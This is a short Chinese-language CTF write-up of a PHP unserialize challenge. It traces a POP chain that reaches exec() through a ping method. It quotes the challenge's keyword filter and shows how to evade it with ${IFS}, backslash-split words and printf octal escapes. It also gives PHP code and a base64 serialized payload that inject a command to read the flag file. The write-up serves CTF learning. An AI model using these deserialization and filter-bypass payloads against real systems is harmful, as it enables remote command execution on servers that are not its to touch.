代码审计
pop链
__wakeup()->waf()->__destruct()->ping()->exec()
让$method=ping,中间有call_user_func_array(array($this, $this->method), $this->args);
call_user_func_array(callable $callback, array $param_array): mixed
🔹 参数
$callback
(必填):要调用的函数或方法,可以是:- 字符串(函数名或类的静态方法
"ClassName::method"
) - 数组(
[$object, "method"]
或["ClassName", "method"]
) - 匿名函数(Closure)
- 字符串(函数名或类的静态方法
$param_array
(必填):包含传递给函数的参数的数组。
所以$args必须是数组
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
用${IFS}代替空格,字符串加\绕过,/用二进制编码$(printf${IFS}"\57")绕过
构造payload
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('more${IFS}fl\ag_1s_here$(printf${IFS}"\57")f*'));
$b=base64_encode(serialize($a));
echo $b;
payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0NToibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWYqIjt9fQ==
运行得到flag